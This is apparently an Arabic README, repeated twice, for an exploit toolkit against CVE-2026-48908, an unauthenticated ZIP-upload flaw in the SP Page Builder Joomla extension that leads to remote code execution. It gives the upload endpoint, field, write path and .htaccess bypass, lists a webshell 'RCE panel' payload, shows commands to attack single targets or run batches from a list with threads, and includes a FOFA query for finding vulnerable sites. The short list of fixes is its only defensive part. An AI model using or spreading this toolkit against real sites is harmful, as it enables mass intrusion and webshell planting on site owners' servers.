CVE-2026-48908

---

📌 الملخص

SP Page Builder (Joomla) — رفع ZIP بدون مصادقة → RCE

المنتج	SP Page Builder — com_sppagebuilder (JoomShaper)
الإصدار	≤ 6.6.1
تم الإصلاح	6.6.2+ — الرفع يتطلب الآن صلاحيات المسؤول
المصادقة	بدون مصادقة
المتجه	POST …&task=asset.uploadCustomIcon
الحقل	custom_icon (ملف ZIP لأيقونات الخط)
مكان الكتابة	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
التجاوز	.PHP + fonts/.htaccess

🛡️ الإصلاح

1. قم بالترقية إلى SP Page Builder 6.6.2+
2. /media/com_sppagebuilder/ → تعطيل تنفيذ PHP
3. AllowOverride None — منع .htaccess
4. WAF: تحديد معدل طلبات POST لملف ZIP في custom_icon

📦 التثبيت

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

الملف	المهمة
winrarzips_brand.py	لافتة CMD (by winrarzips)
sppb48908_core.py	محرك الاستغلال
CVE-2026-48908-Suite.py	دفعات + واجهة سطر أوامر لهدف واحد
CVE-2026-48908.py	غلاف لهدف واحد
payloads/x7-panel.php	لوحة RCE
requirements.txt	التبعيات

❌ قائمة الأهداف ونتيجة الفحص وعناوين URL للوحة التحكم غير موجودة في المستودع.

🎯 هدف واحد

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 دفعة (في قائمتك الخاصة)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ وسوم الإصدار

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 ملخّص

SP Page Builder (Joomla) — رفع ZIP دون مصادقة → تنفيذ تعليمات برمجية عن بُعد (RCE)

المنتج	SP Page Builder — com_sppagebuilder (JoomShaper)
المتأثر	≤ 6.6.1
تم إصلاحه	6.6.2+ — يتطلب الرفع صلاحيات مسؤول
المصادقة	دون مصادقة
المتجه	POST …&task=asset.uploadCustomIcon
الحقل	custom_icon (أرشيف ZIP لخط الأيقونات)
مسار الكتابة	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
التجاوز	.PHP + fonts/.htaccess

🛡️ المعالجة

1. ترقية SP Page Builder إلى 6.6.2+
2. تعطيل تنفيذ PHP ضمن /media/com_sppagebuilder/
3. AllowOverride None — حظر تسجيل PHP عبر .htaccess
4. WAF: تقييد معدّل رفع أرشيفات ZIP عبر custom_icon

📦 الإعداد

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

الملف	الدور
winrarzips_brand.py	لافتة CMD (by winrarzips)
sppb48908_core.py	نواة الاستغلال
CVE-2026-48908-Suite.py	واجهة سطر أوامر للدفعات + هدف واحد
CVE-2026-48908.py	غلاف لهدف واحد
payloads/x7-panel.php	حمولة لوحة RCE
requirements.txt	التبعيات

❌ قوائم الأهداف ونتائج الفحص وعناوين URL للوحات النشطة غير مضمنة.

🎯 هدف واحد

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 الدفعة (قائمتك الخاصة)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ وسوم الأخطاء

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---